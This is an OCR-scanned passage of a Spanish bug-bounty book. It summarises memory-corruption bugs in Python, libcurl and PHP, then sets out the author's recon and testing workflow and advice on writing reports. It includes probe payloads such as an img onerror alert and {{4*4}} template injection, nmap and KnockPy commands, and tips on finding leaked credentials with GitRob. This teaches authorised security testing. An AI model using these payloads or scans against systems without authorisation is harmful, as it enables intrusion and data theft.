impacto mas pequiio en el desemperio que el del mdodulo de perfil. Sin embargo, en junio de 2015,
una vulnerabilidad de desbordamiento del bufer fue descubierta en relacion al cédigo que intenta
copiar una cadena de un lugar de memoria a otra.

Esencialmente, el c6digo vulnerable llamaba al método memcpy el cual copia la memoria de un
lugar a otro tomando el numero de bytes a ser copiado. Aqui esta la linea de codigo:

memcpy(self->buffer + self->index, s, len);

El método memcpy toma 3 parametros, str, str2 y n. str2 es el destino, str es la fuente que se desea
copiar y n es el nimero de bytes a copiar. En este caso, esos corresponden a self->buffer + self->index,
sy len.

En este caso, la vulnerabilidad radica en el hecho de que self->buffer siempre fue una longitud fija
donde s podria ser de cualquier longitud.

Como resultado, al ejecutar la funcién de copia (como en el diagrama de Apple arriba), la funcién
memcpy podria no tener en cuenta el tamafio real del area copiada y de este modo se crea el
desbordamiento.

"http://bugs.python.org/issue24481
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q& Recomendaciones

Ahora hemos visto ejemplos de dos funciones las cuales estin implementadas de forma
incorrecta y que son altamente susceptibles a desbordamientos de bufer, memcpy y strcpy.
Si sabemos que un sitio o aplicacion depende de C o C++, es posible buscar a través de las
bibliotecas del codigo fuente de ese lenguaje (utiliza algo asi como el comando grep) para
encontrar las implementaciones incorrectas.

La clave sera encontrar implementaciones que pasen una variable de longitud fija como
la del tercer pardmetro para cualquiera de sus funciones, las que corresponden al tamario
de los datos a ser asignados, cuando los datos sean copiados, es de hecho de una longitud
variable.

Sin embargo, como se menciono anteriormente, si apenas estas comenzando, puede ser mas
productivo para tu tiempo olvidarte de buscar este tipo de vulnerabilidades, y volver a ellas
cuando te sientas mas comodo con el hacking de sombrero blanco.

3. Lectura fuera de los limites de Libcurl

Dificultad: Alta

URL: N/A - No disponible

Enlace del informe: http://curl.haxx.se/docs/adv_20141105.html™
Fecha del informe: 5 de Noviembre, 2014

Recompensa recibida: $1,000

Descripcion:

Libcurl es una biblioteca libre para la transferencia de URL del lado del cliente y es utilizado por
la herramienta de linea de comando cURL para la transferencia de datos. Una vulnerabilidad fue
encontrada en libcurl en la funcién curl_easy_duphandle() la cual podria haber sido explotada al
enviar datos sensibles que no estaban considerados para la transmision.

Cuando se realiza una transferencia con libcurl, es posible utilizar una opcién, CURLOPT_COPY-
POSTFIELDS para especificar una ubicaciéon de memoria para los datos que van a ser enviados
al servidor remoto. En otras palabras, pensar en un tanque de almacenamiento para tus datos. El
tamario de la ubicacion (o el tanque) se establece con una opcion separada.

Ahora, sin entrar en demasiado tecnicismo, el drea de memoria fue asociada con un “manejador”
(saber exactamente lo que es un manejador esta mas alla del alcance de este libro y no es necesario
seguirlo aqui) y las aplicaciones podrian duplicar el manejador para crear una copia de los datos.
Aqui es donde estaba la vulnerabilidad - la implementacién de la copia se realizo con la funcién de
strdup y fue asumido que los datos tienen un byte cero (nulo), el cual indica el final de una cadena.

"Mhttp://curl haxx.se/docs/adv_20141105.html
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En esta situacion, los datos pueden no tener un byte cero (null) o tener uno en una ubicacion
arbitraria. Como resultado, el manejador duplicado podria ser demasiado pequefio, demasiado
grande o bloquear el programa. Ademas, después de la duplicaciéon, la funciéon envia los datos que
no tomo en cuenta, los datos que ya habian sido leido y los duplicados, por lo que también accedid
y envio los datos mas alla de la direccion de memoria a la que se pretendia.

Q& Recomendaciones

Este es un ejemplo de una vulnerabilidad muy compleja. A pesar de que se llegaba
al limite de ser demasiado técnico para el proposito de este libro, lo he incluido para
demostrar las similitudes con lo que ya hemos aprendido. Cuando incursionamos en esto,
esta vulnerabilidad también se relaciond con un error de implementacion de cédigo en C,
asociado con la gestién de memoria, especificamente copiando la memoria. Nuevamente,
si vas a empezar a cavar en el plano de la programacién en C, empieza buscando las areas
donde los datos estan siendo copiados desde una ubicacion de memoria a otra.

4. Corrupcion de la memoria de PHP

Dificultad: Alta

URL: N/A - No disponible

Enlace del informe: https://bugs.php.net/bug.php?id=69453">
Fecha del informe: 14 de Abril, 2015

Recompensa recibida: $500

Descripcion:

El método phar_parse_tarfile no tuvo en cuenta los nombres de archivo que comienzan con un byte
nulo, un byte que comienza con un valor de cero, es decir, 0x00 en hexadecimal.

Durante la ejecucion del método, cuando se utiliza el nombre de archivo, un flujo inferior en la
matriz (es decir, tratando de acceder a los datos que en realidad no existen y se encuentra fuera de
la memoria asignada a la matriz) se producira.

Se trata de una vulnerabilidad importante, ya que le proporciona a un hacker acceso a la memoria
la cual debe estar fuera de los limites.

"?https://bugs.php.net/bug.php?id=69453
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q& Recomendaciones

Al igual que los desbordamientos de bufer, la corrupcion en la memoria es anitigua
pero todavia sigue siendo una vulnerabilidad comun cuando se trata de aplicaciones que
gestionan su propia memoria, sobre todo C y C++. Si te das cuenta que se trata de una
aplicacion web basada en el lenguaje C (de las que estan escritas en PHP), sigue buscando
las maneras en que la memoria pueda ser manipulada. Sin embargo, de nuevo, si estas
iniciando, es probable que sea de méas provecho para tu tiempo encontrar vulnerabilidades
relacionadas con inyecciones mas simples y vuelvas a la corrupcion en la memoria cuando
cuentes con mas experiencia.

Resumen

Mientras que las vulnerabilidades relacionadas con la memoria hacen grandes titulares, son muy
dificiles de trabajar con ellas y requieren una cantidad considerable de habilidad. Este tipo de
vulnerabilidades es mejor dejar solas a menos que se tenga una buena base de programacion en
lenguajes de bajo nivel.

Mientras que los lenguajes de programacién modernos son menos susceptibles a esos fallos debido a
su propia manipulacién de memoria y la recoleccién de basura, las aplicaciones escritas en lenguaje
C son todavia muy susceptibles. Ademas, cuando se trabaja con lenguajes modernos escritos en el
lenguaje de programacién C, las cosas pueden ser un poco complicadas, tal como lo hemos visto con
los ejemplos de ftp_genlist() de PHP y el Médulo Hotshot de Python.
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Este capitulo ha sido el mas dificil de escribir, en gran parte debido a la variedad de programas de
recompensas por encontrar errores que existen y contintian estando disponibles. Para mi, no existe
una foérmula simple en el hacking pero hay patrones. En este capitulo, he tratado de explicar con
claridad como me aproximo a un sitio nuevo, incluyendo las herramientas que utilizo (los cuales
estan incluidas en el capitulo Herramientas) y lo que he aprendido de los demés. Todo esto se basa
en mi experiencia en el hacking, entrevistando a hackers exitosos, leer blogs y ver presentaciones de
la DefCon, BSides, y otras conferencias de seguridad.

Pero antes de comenzar, recibo muchos correos electréonicos donde me piden ayuda y orientacion
sobre como empezar. Yo suelo responder con una recomendacion de que, si recién estan iniciando,
elijan un objetivo en el cual sea probable que tendran mas éxito. En otras palabras, que no elijan como
objetivo a Uber, Shopify, Twitter, etc. Eso no quiere decir que no tendran éxito, pero esos programas
tienen encima a hackers muy inteligentes y experimentados probandolos a diario y pienso que va a
ser mas facil que te desanimes si es alli donde pasas el tiempo cuando apenas estas empezando. Lo
sé porque he estado alli. En lugar de ello, sugiero comenzar con un programa que tiene un alcance
mas amplio y no paga recompensas. Esos programas a menudo atraen menos la atencion porque no
tienen incentivos financieros. Ahora, sé que no sera tan gratificante cuando un error se resuelva sin
un pago, pero con un par de éstos bajo tu cinturén ayudara a motivarte a mantenerte en el hacking
y a medida que te mejoras, seras invitado a participar en los programas privados que es donde se
puede hacer un buen dinero.

Con eso despejado del camino, vamos a empezar.

Recopilacion de informacion

Como saben, de los ejemplos detallados anteriormente, hay mas para hackear que solamente abrir
una pagina web, ingresar un payload y tomar el control de un servidor. Hay un montén de cosas a
considerar cuando se esta apuntando a un nuevo sitio, incluyendo:

+ ;Cual es el alcance del programa? Todos los subdominios de un sitio web o URLSs especificas?
Por ejemplo, *.twitter.com, o simplemente www.twitter.com?

« ;/Cuantas direcciones IP son propiedad de la empresa? ;Cuantos servidores estan en ejecucion?

+ ;Qué tipo de sitio es? jSoftware como servicio? ;Codigo Abierto? ;Colaborativo? ;de pago vs
libre?

+ ;Qué tecnologias estan utilizando? ;Python, Ruby, PHP, Java? ;MSQL? ; MySQL, PostgreSQL,
Microsoft SQL? ;Wordpress, Drupal, Rails, Django?
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Estas son solamente algunas de las consideraciones que ayudan a definir a dénde vas a mirar y
como vas a acercarte al sitio. Familiarizarse con el programa es un primer paso. Para empezar,
si el programa esta incluyendo todos los subdominios, pero no los ha enumerado, necesitaras
descubrirlos. Como se detalla en la seccién de herramientas, KnockPy es una gran herramienta a
utilizar para esta tarea. Recomiendo clonar el repositorio de GitHub SecLists, de Daniel Miessler y
utilizar la lista de sub dominios en la carpeta /Discover/DNS. El comando especifico seria:

knockpy domain.com -w /PATH_TO_SECLISTS/Discover/DNS/subdomains-topimil-110000.t\
xt

Esto dara inicio a la exploracion y va a guardar el resultado en un archivo csv. Recomiendo empezar
con eso y dejarlo que se ejecute en segundo plano. A continuacion, te recomiendo utilices el script
enumall de Jason Haddix (Director Técnico de Bugcrowd y entrevistado en los consejos de Hacking
profesional #5), el cual esta disponible en GitHub bajo el dominio de su repositorio. Esto requiere que
Recon-ng esté instalado y configurado, pero las instrucciones de configuracion estan en su archivo
readme. Usando su script, en realidad estaremos repasando Google, Bing, Baidu, etc., en la busqueda
de sub dominios. Una vez mas, deja que esto se ejecute en segundo plano, al final va a crear un
archivo con los resultados.

El uso de estas dos herramientas nos debe dar un buen conjunto de subdominios para empezar a
probar. Sin embargo, si después que hayan terminado, y todavia quieren agotar todas las opciones,
[PV4info.com es un gran sitio web que enumera las direcciones IP registradas a un sitio y los
subdominios encontrados asociados a esas direcciones. Aunque seria mejor automatizar el recorrido
de esto, por lo general navego de forma manual y busco direcciones de interés como ultimo paso
durante mi recopilacion de informacion.

Mientras que la enumeracion de subdominios esta sucediendo en segundo plano, lo siguiente con lo
que empiezo a trabajar es en el sitio principal del programa de recompensas por encontrar errores, por
ejemplo, www.drchrono.com. Anteriormente, podria haber saltado al uso de Burp Suite y explorar
el sitio. Pero, basado en el asesoramiento de Patrik Fehrenbach y algunos informes impresionantes,
ahora inicio ZAP proxy, visito el sitio y hago un Navegacion Forzada para descubrir directorios
y archivos. Una vez mas, dejo que esto también se ejecute en segundo plano. Como acotacion al
margen, estoy usando ZAP porque al momento de escribir esto, no tengo una version de pago de
Burp Suite pero sin ningtin problema podrian utilizar ese.

Teniendo todo eso en ejecucion, es ahora cuando realmente comienzo a explorar el sitio principal
y a familiarizarme con él. Para ello, asegurate de tener instalado el plugin Wappalizer (que esta
disponible para Firefox, el cual es el que uso, y también estd para Chrome). Esto nos permite ver
de inmediato en la barra de direccion las tecnologias que un sitio esta utilizando. A continuacion,
inicio Burp Suite y lo uso para filtrar todo mi trafico. Si estas utilizando la version de pago de Burp,
lo mejor es comenzar un proyecto nuevo para el programa de recompensas en el que vas a trabajar.

En esta etapa, tiendo a dejar los valores por defecto de Burp Suite como estan y empiezo a caminar
a través del sitio. En otras palabras, dejo el alcance completamente intacto de modo que todo el
trafico es filtrado e incluido en el historial y en el mapa del sitio. Esto asegura que no pierda ninguna
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solicitud HTTP realizada al momento de interactuar con el sitio. Durante este proceso, realmente
s6lo estoy explorando, manteniendo mis ojos atentos a las oportunidades, incluyendo:

La tecnologia de base

;Con qué esta desarrollado el sitio, qué me esta diciendo Wappalyzer? Por ejemplo, ;el sitio utiliza
un framework como Rails o Django? Sabiendo esto me ayuda a determinar cémo lo voy a estar
probando y como funciona el sitio. Por ejemplo, cuando un sitio trabaja con Rails, los tokens CSRF
son generalmente integrados en las etiquetas de cabecera HTML (al menos en las nuevas versiones
de Rails). Esto es util para probar CSRF en las cuentas. Rails también utiliza un patréon de disefio
para las direcciones URL que normalmente corresponde a /CONTENT_TYPE/RECORD_ID en lo
mas basico. Tomando a HackerOne como ejemplo, si nos fijamos en los informes, sus URL son
www.hackerone.com/reports/12345. Sabiendo esto, después podemos tratar de pasar IDs de registro
a los que no deberiamos tener acceso. También existe la posibilidad de que los desarrolladores
pueden haber dejado inadvertidamente rutas JSON disponibles que revelen informacién, como
www.hackerone.com/reports/12345.json.

También echo un vistazo para ver si el sitio esta utilizando una interfaz de libreria JavaScript que
interactie con una API en el backend. Por ejemplo, el sitio utiliza Angular]S? Si es asi, sé que
tengo que buscar vulnerabilidades de inyeccién de Angular e incluir el payload {{4*4}} o [[575]] al
enviar los campos (utilizo ambos porque Angular puede utilizar cualquiera y hasta que confirme cual
utiliza, no quiero perder oportunidades). La razén por la cual una API devuelve JSON o XML a una
plantilla es grande, porque a veces esas llamadas a la API involuntariamente devuelven informacion
sensible que no se representa en la pagina. Viendo esas llamadas puede dar lugar a vulnerabilidades
de divulgacion de informacion como las que se han mencionado con respecto a Rails.

Por ultimo, y mientras esto sigue brotando en la siguiente seccién, también compruebo el proxy para
ver cosas como por ejemplo, a partir de donde los archivos estan siendo servidos, tal como Amazon
S3, archivos JavaScript alojados en otro lugar, llamadas a servicios de terceros, etc.

Mapeo de la funcionalidad

En realidad no hay ciencia para esta etapa de mis hackeos pero aqui, es donde sdlo estoy tratando
de entender como funciona el sitio. Por ejemplo:

+ He creado cuentas y observo como lucen los mensajes de correo electrénico y las URLs de
verificacion, me pongo a buscar las formas de reutilizarlos o sustituir otras cuentas.

+ Tomo nota si se esta utilizando OAuth con otros servicios.

« ;Esta disponible la autenticacion de dos factores, como esta implementada - con una aplicacién
autenticadora o el sitio maneja el envio de cédigos por SMS?

« ;El sitio ofrece multiples usuarios por cuenta, hay un modelo de permisos complejo?

+ ;Hay alguna mensajeria permitida entre los usuarios?

« ;Estan almacenados algunos documentos confidenciales o se permite subir archivos?
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« ;Esta permitido cualquier tipo de imagenes de perfil?
« ;El sitio permite a los usuarios introducir HTML, se utilizan editores WYSIWYG?

Estos son solo algunos ejemplos. Durante este proceso, realmente estoy tratando de entender como
funciona la plataforma y qué funcionalidad esté disponible para ser objeto de abuso. Trato de verme
como el desarrollador e imaginar qué es lo que podria haber sido implementado de forma incorrecta
o qué suposiciones se podria haber hecho, para asi preparar la prueba real. Hago mi mejor esfuerzo
para no iniciar a hackear de inmediato ya que aqui es muy facil distraerse o quedar atrapado
tratando de encontrar vulnerabilidades XSS, CSREF, etc. enviando payloads por todas partes. En su
lugar, trato de centrarme en la comprensién y la bisqueda de areas que pueden proporcionar una
mayor recompensa y pueden no haber sido considerados por otros. Pero, habiendo dicho esto, si
encuentro un importador masivo el cual acepta XML, definitivamente detengo mi exploraciéon y
subo un documento XXE, el cual me conduce a mi prueba real.

Pruebas de aplicaciones

Ahora que tenemos una comprensiéon de como funciona nuestro objetivo, es hora de empezar a
hackear. En esta etapa, algunos otros pueden utilizar escaneres automatizados para rastrear un sitio,
probando XSS, CSREF, etc. pero la verdad, yo no, al menos en este momento. Como tal, no voy a
hablar de esas herramientas, en lugar de eso me centraré en lo que mi enfoque “manual” parece.

Por lo tanto, en esta etapa, tiendo a empezar a utilizar el sitio como se pretende, creando contenido,
usuarios, equipos, etc., inyectando payloads en cualquier lugar y por todas partes en busca de
anomalias y de un comportamiento inesperado del sitio cuando devuelva el contenido. Para ello,
voy a afadir el payload <img src ="x” onerror=alert(1)> a cualquier campo que lo acepte, y si
sé que se esta utilizando un motor de plantillas (por ejemplo, Angular) , voy a anadir un payload
de la misma sintaxis, como {{4"4}} [[5"5]]. La razon por la que utilizo la etiqueta img es porque
esta disefiada para fallar ya que la imagen x no debe ser encontrada. Como resultado, el evento
onerror debe ejecutar la funcion alert() de JavaScript. Con los payloads de Angular, estoy esperando
para ver 16 o 25 el cual podria indicar la posibilidad de pasar un payload para ejecutar JavaScript,
dependiendo de la versién de Angular.

En ese sentido, después de guardar el contenido, voy a revisar como el sitio esta renderizando
mi contenido, si todos los caracteres especiales estan codificados, si han removido atributos, si la
imagen con el payload de XSS se ejecuta, etc. Esto me da una idea de coémo maneja el sitio las
entradas maliciosas y me da unaa idea de qué es lo que se debe buscar. Normalmente no paso mucho
tiempo haciendo esto, en busca de simples XSS debido a que estas vulnerabilidades se consideran
normalmente fruta madura o de facil alcance y a menudo las informan rapidamente.

Como resultado, voy a moverme a mis anotaciones de excavacion y el mapeo funcional, las pruebas
de cada area, y con la atencion particular de ser bien pagado a las solicitudes y respuestas HTTP
que se envian y reciben. Una vez mas, esta etapa depende realmente de la funcionalidad ofrecida
por un sitio. Por ejemplo, si un sitio permite subir archivos sensibles, voy a probar a ver si las
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direcciones URL a esos archivos se pueden enumerar o pueden ser accedidos por un usuario anénimo
o alguien que ha iniciado sesién en una cuenta diferente. Si hay un editor WYSIWYG, voy a tratar
de interceptar la solicitud HTTP POST y afadir elementos HTML adicionales como imagenes,
formularios, etc.

Mientras estoy trabajando a través de estas areas, mantengo un ojo antento hacia:

» Los tipos de solicitudes HTTP que cambian los datos si tienen tokens CSRF y si los estan
validando? (CSRF)

« Si existen parametros de identificaciéon que pueden ser manipulados (Légica de la Aplicacion)

« Las oportunidades para repetir solicitudes a través de dos cuentas de usuario (Logica de la
Aplicacion)

+ Cualquiera de los campos para subir XML, tipicamente los asociados con importaciones
masivas de registros (XXE)

« Patrones de URL, sobre todo si cualquier URL incluye ID de registros (Légica de la Aplicacion,
HPP)

+ Cualquier URL que tenga un parametro relacionado con la redireccion (Redireccion abierta)

+ Todas las solicitudes que hacen eco en la pagina de respuesta de los parametros de la URL
(CRLF, XSS, Redireccion abierta)

« Divulgacion de la informacion del servidor, como las versiones de PHP, Apache, Nginx, etc.,
que pueden ser aprovechados para encontrar fallos de seguridad no parcheados

Un buen ejemplo de esto fue mi vulnerabilidad que encontré y di a conocer a favor de MoneyBird.
Explorando su funcionalidad, me di cuenta que tienen equipo basado en funcionalidad y la capacidad
de crear aplicaciones las cuales daban acceso a una API. Cuando probé el registro de la aplicacion,
me di cuenta de que estaban pasando el ID de negocio a la llamada HTTP POST. Asi que, probé
registrar aplicaciones contra equipos de los cuales era parte, pero que no deberia haber tenido
permiso para crear aplicaciones. Efectivamente, tuve éxito, la aplicacion fue creada y recibi de ellos
una recompensa en promedio de un poco mas de $100.

En este punto, es mejor regresar a ZAP y ver, si es que hay, archivos o directorios interesantes
que hayan sido encontrado a través de fuerza bruta. Puede ser que quieras revisar los hallazgos y
visitar las paginas especificas, especialmente todo lo que puede ser sensible como archivos .htpasswd,
configuraciones, etc. Ademas, utilizando Burp, deberias tener un mapa decente del sitio el cual puede
ser revisado para las paginas que Burp encontro pero que en realidad no fueron visitadas. Y mientras
yo no hago esto, Jason Haddix discute que durante su presentacién en DefCon 23, Cémo Disparar a la
Web, es posible tomar mapas del sitio y tener a Burp, y otras herramientas, haciendo comparaciones
automaticas a través de distintas cuentas y permisos de usuario. Esto esta en mi lista de cosas por
hacer, pero hasta ahora, mi trabajo ha sido en gran parte de forma manual, lo que nos lleva a la
siguiente seccion.
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Cavar mas profundo

Mientras que la mayor parte de este hacking ha sido manual, esto obviamente no pesa bien. Con
el fin de tener éxito en una escala mas amplia, es importante automatizar tanto como sea posible.
Podemos empezar con los resultados de nuestros escaneos con KnockPy y enumall, los cuales nos
proporcionan listas de subdominios para su revision. Con la combinacién de ambas listas, podemos
tomar los nombres de dominio y pasarlos a una herramienta como EyeWitness. Esto tomara capturas
de pantalla de todos los subdominios indicados que estan disponibles a través de los puertos como
el 80, 443, etc., para identificar de qué se trata el sitio. Aqui vamos a estar buscando las tomas de
control de subdominios, paneles web accesibles, servidores de integracion continua, etc.

También podemos tomar nuestra lista de IPs de KnockPy y pasarla a Nmap para comenzar a buscar
puertos abiertos y servicios vulnerables. Recuerda, esto es como Andy Gill hizo $2,500 en PornHub, al
encontrar una instalacion Memcache abierta. Dado que esto puede tomar un tiempo para ejecutarse,
puede que quieras iniciar esto y dejarlo que se ejecute en segundo plano. La funcionalidad completa
de Nmap esta mas alla del alcance de este libro, pero el comando se veria algo como nmap -sSV
-0A ARCHIVODESALIDA -T4 -iL IPS.csv. Aqui le estamos diciendo a Nmap que escanee los 1000
puertos mas comunes, nos proporcione informacién de la version de los servicios para cualquiera
de los puertos que encuentre abiertos, lo escriba en un archivo de salida y use nuestro archivo csv
como una lista de direcciones IP a escanear.

Volviendo al alcance del programa, también es posible que las aplicaciones moéviles pueden estar
en el alcance. Al probarlos a menudo puede conducir a encontrar nuevos puntos finales de API
vulnerables al hacking. Para hacerlo, tendras que filtrar tu trafico telefénico a través de Burp y
comenzar a utilizar la aplicacién movil. Esta es una manera de visualizar como se estan realizando
las llamadas HTTP y asi manipularlas. Sin embargo, a veces las Aplicaciones utilizan fijacién SSL, lo
que significa que no va a reconocer o utilizar el certificado SSL de Burp, por lo que no puede filtrar
el trafico de la aplicacion. Como proceder con esto es mas dificil y va mas alla del alcance de este
libro (al menos en este momento), pero hay documentacién sobre como hacer frente a eso y Arne
Swinnen tiene una gran presentacion de BSides San Francisco’ acerca de como se dirigio a esto para
probar Instagram.

Incluso sin eso, hay herramientas de hacking para moviles que pueden ayudar en la prueba de
aplicaciones. Si bien no tengo mucha experiencia con eso (al menos en este momento), siguen siendo
una opcion para utilizar. Esto incluye el Framework de Seguridad Movil y JD-GUI, los cuales estan
incluidos en el capitulo Herramientas y fueron utilizados por hackers para encontrar un numero de
vulnerabilidades contra Uber y su APL

Si no hay una aplicaciéon movil, a veces los programas todavia tienen una API extensa que podria
contener un sinnimero de vulnerabilidades - Facebook es un gran ejemplo. Philippe Harewood
continua exponiendo las vulnerabilidades que implican el acceso a todo tipo de divulgacién de
informacién en Facebook. Puede ser que quieras revisar la documentacion para desarrolladores
del sitio y comenzar a buscar anomalias. He encontrado vulnerabilidades probando los alcances

"https://www.youtube.com/watch?v=dsekKYNLBbc
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provistos por OAuth, accediendo a informacién a la cual no deberia tener acceso (los alcances de
OAuth son como los permisos, definir a lo que una aplicacion puede tener acceso, su direccion de
correo electronico, informacion de perfil, etc.). También he encontrado sobrepaso de funcionalidad,
utilizando la API para hacer cosas a las que no deberia tener acceso con una cuenta gratuita (lo cual
es considerado como una vulnerabilidad para algunas compaiiias). También puedes probar afadir
contenido malicioso a través de la API como una forma alternativa si se esta descartando el paso de
payloads durante el envio por medio de su sitio web.

Otra herramienta que recientemente he comenzado a utilizar en funcion de las presentaciones de
Fran Rosen es GitRob. Se trata de una herramienta automatizada que busca repositorios publicos de
un objetivo en GitHub y busca archivos confidenciales, incluyendo configuraciones y contrasenas.
También inspeccionara los repositorios de cualquier colaborador. En sus presentaciones, Frans habla
de haber encontrado informacion de inicio de sesién de Salesforce en repositorios publicos de una
empresa, lo que dio lugar a un gran pago. El también escribi6 en su blog sobre el hallazgo de claves
de Slack en repositorios publicos, lo que también dio lugar a grandes recompensas.

Por ultimo, una vez mas, segin lo recomendado por Frans, los muros de pago a veces ofrecen un
area perfecta para el hacking. Si bien no lo he experimentado yo mismo, Frans menciona haber
encontrado vulnerabilidades en la funcionalidad de pago, lo que la mayoria de otros hackers al
parecer lo evitan debido a la necesidad de pagar por el servicio que han estado probando. Yo no
puedo hablar de lo exitoso que podrias ser con esto, pero parece una zona interesante para explorar
mientras estas hackeando, asumiendo que el precio es razonable.

Resumen

Con este capitulo, he tratado de ayudar a enviar un poco de luz sobre como luce mi proceso, para
ayudar a que desarrolles el tuyo propio. Hasta la fecha, he encontrado el mayor éxito después
de explorar un objetivo, comprender lo que ofrece la funcionalidad y mapear eso a los tipos de
vulnerabilidad que se pueden probar. Sin embargo, una de las zonas que estoy continuamente en
estudio, y te animo a hacerlo asi, es la automatizaciéon. Hay una gran cantidad de herramientas
de hacking disponibles que pueden hacer tu vida mas facil, Burp, ZAP, Nmap, KnockPy, etc., son
algunos de los pocos mencionados aqui. Es una buena idea mantener esto en mente a medida que
hackeas para hacer un mejor uso de tu tiempo y perforar mas profundo. Para concluir, aqui esta un
resumen de lo que hemos discutido:

1. Enumerar todos los subdominios (si estan en el alcance) usando KnockPy, el script enumall
para Recon-ng e IPV4info.com

2. Iniciar ZAP proxy, visitar el sitio principal del objetivo y ejecutar una Busqueda forzada para
descubrir archivos y directorios

3. Tecnologias de mapeo utilizadas con Wappalyzer y Burp Suite (0 ZAP) proxy

4. Explorar y comprender alguna funcionalidad disponible, y tomar nota de las areas para ver al
tipo de vulnerabilidad que corresponden
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5. Comenzar a probar los tipos de vulnerabilidades que proporcioné el mapeo de funcionalidad
6. Automatizar los escaneos de EyeWitness y Nmap con el resultado de los escaneos de KnockPy

y enumall

7. Revisar vulnerabilidades de aplicaciones moviles

8. Probar la capa de la API, si es que esta disponible, incluyendo asi la funcionalidad que de otro

10.

modo es inaccesible
Buscar informacion privada en repositorios de GitHub con GitRob
Suscribirse al sitio y pagar para poder probar funcionalidades adicionales
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Asi que el dia finalmente ha llegado y has encontrado tu primera vulnerabilidad. En primer lugar,
felicitaciones! En serio, la busqueda de vulnerabilidades no es facil y a veces es desanimante.

Mi primer consejo es relajarse, no te sobreexcites. Conozco la sensacién de estar lleno de alegria
al presentar un informe y también la abrumadora sensacion de rechazo cuando se te dice que no
es una vulnerabilidad y la empresa cierra el informe que viene a hacer dafio a tu reputacién en la
plataforma de informes.

Quiero ayudar a evitar eso. Por lo tanto, lo primero es primero.

Lee las directrices de divulgacion.

En ambas plataformas HackerOne y Bugcrowd, cada empresa participante enumera en su programa
el alcance, asi también las zonas que estan fuera de alcance. Es de esperar que las leas primero para
que no pierdas tu tiempo. Pero si no lo has hecho, a leerlo ahora se ha dicho. Asegurate de que lo
que encontraste no sea conocido y tampoco esté fuera de su programa.

He aqui un ejemplo doloroso de mi pasado - la primera vulnerabilidad que encontré fue en Shopify,
si enviabas HTML mal formado en su editor de texto, su analizador podria corregirlo y almacenar
el XSS. Estaba mas excitado. Mi busqueda fue dando sus frutos. No pude presentar mi informe lo
suficientemente rapido.

Estaba euforico, hice clic en enviar y esperaba mi recompensa de $500. En su lugar, amablemente
me dijeron que era una vulnerabilidad conocida y solicitaron a los investigadores a no informarlo.
El ticket fue cerrado y perdi 5 puntos. Queria meterme en un agujero. Fue una dura leccion.

Aprende de mis errores, jLEE LAS DIRECTRICES!

Incluye detalles. Luego, incluye mas.

Si deseas que tu informe sea tomado en serio, provee un informe detallado el cual incluya, como
minimo:

La URL y los parametros afectados utilizados para encontrar la vulnerabilidad

Una descripcion del navegador, el sistema operativo (en su caso) y/o version de la aplicacion

Una descripcion del impacto percibido. ;Cémo podria el error ser potencialmente explotado?
« Pasos para reproducir el error
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Estos criterios son comunes para las principales compaiiias en Hackerone como Yahoo, Twitter,
Dropbox, etc. Si quieres ir mas lejos, me gustaria recomendar que incluyas una captura de pantalla
o una prueba de de concepto (POC) en video. Ambos son sumamente utiles a las empresas y les
ayudara a entender la vulnerabilidad.

En esta etapa, también es necesario tener en cuenta cuales son las implicaciones para el sitio. Por
ejemplo, un XSS almacenado en Twitter tiene potencial para ser un problema muy grave dado el gran
numero de usuarios y la interaccion entre ellos. Comparativamente, un sitio con poca interaccion
entre los usuarios no pueden ver la vulnerabilidad como grave. Por el contrario, una pérdida de
privacidad en un sitio web sensible como PornHub puede ser de mayor importancia que en Twitter,
donde la mayor informacion del usuario ya es publica (y es menos embarazoso?).

Confirmar la vulnerabilidad

Has leido las directrices, has redactado tu informe, has incluido capturas de pantalla. Toma un
segundo y asegurate de que lo que estas reportando es en realidad una vulnerabilidad.

Por ejemplo, si estas informando de que una empresa no utiliza un token CSRF en sus cabeceras,
;has mirado si los parametros que estan siendo pasados incluyen un token el cual actia como un un
token CSRF pero simplemente no tienen la misma etiqueta?

No puedo animarte lo suficiente para asegurar que hayas confirmado la vulnerabilidad antes de
enviar el informe. Esto puede ser una decepciéon muy grande, pensar que has encontrado una
vulnerabilidad significativa solo para darte cuenta que has malinterpretado algo durante estabas
haciendo tus pruebas.

Hazte el favor de tomarte el minuto adicional y confirma la vulnerabilidad antes de enviarla.

Muestra respeto por la Compaiiia

Basado en las pruebas de creacion de procesos con la Compania HackerOne (si, ti como investigador
puedes probarlos), cuando una empresa lanza un nuevo programa de recompensas por encontrar
errores, pueden quedar inundados con informes. Después de enviarlo, permitele a la compaiiia la
oportunidad de revisar tu informe y que se pongan en contacto contigo.

Algunas empresas publican sus lineas de tiempo en sus directrices de recompensas, mientras que
otras no lo hacen. Equilibra tu entusiasmo con respecto a sus cargas de trabajo. Basado en las
conversaciones que he tenido con el soporte de HackerOne, ellos te ayudaran con el seguimiento
si no has oido de la empresa en al menos dos semanas.

Antes de ir por ese camino, envia un mensaje educado preguntando si hay alguna actualizacion.
La mayoria de las veces las empresas responderan y te haran saber la situacién. Dales algo de
tiempo e intenta otra vez antes de escalar la situacion. Por otro lado, si la empresa ha confirmado
la vulnerabilidad, trabaja con ellos para confirmar la correccién del problema una vez que lo hayan

hecho.
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Al escribir este libro, he sido suficientemente afortunado de poder charlar con Adam Bacchus, un
nuevo miembro del equipo HackerOne a partir de Mayo del afio 2016, quien posee el titulo de Director
y Oficial de Recompensas, y nuestras conversaciones realmente me han abierto los ojos al otro lado
de las recompensas por fallos. Como un poco de trasfondo, Adam tiene experiencia con Snapchat
donde trabaj6 para tender un puente sobre el equipo de seguridad con el resto de los equipos de
ingenieria de software y también trabajo en Google, donde estuvo con en el equipo de manejo de
vulnerabilidades y ayudé a ejecutar el programa de premios por vulnerabilidad de Google.

Adam me ayudd a entender que hay un montén de problemas en la experiencia de clasificar la
severidad de las fallas cuando se ejecuta un programa de recompensas, incluyendo:

+ Ruido: Desafortunadamente, los programas de recompensas de errores reciben una gran
cantidad de informes no validos, tanto HackerOne y BugCrowd han escrito sobre esto. Sé
que definitivamente he contribuido y esperemos que este libro te ayudara a evitarlo, debido
a que la presentacion de informes no validos cuesta tiempo y dinero tanto para ti como para
los programas de recompensas.

« Priorizacion: Los programas de recompensas tienen que encontrar la manera de dar prioridad
a la reparacion de vulnerabilidades. Eso es duro cuando se tiene multiples vulnerabilidades
con un impacto similar, asi también con informes combinados llegando de forma continua.
Los programas de recompensas encaran y mantienen serios desafios.

+ Confirmaciones: Cuando se cataloga la urgencia de un informe, las fallas tienen que ser
validadas. De nuevo, esto lleva tiempo. Por eso es imperativo que nosotros los hackers
proporcionemos instrucciones claras y una explicacion acerca de lo que hemos encontrado,
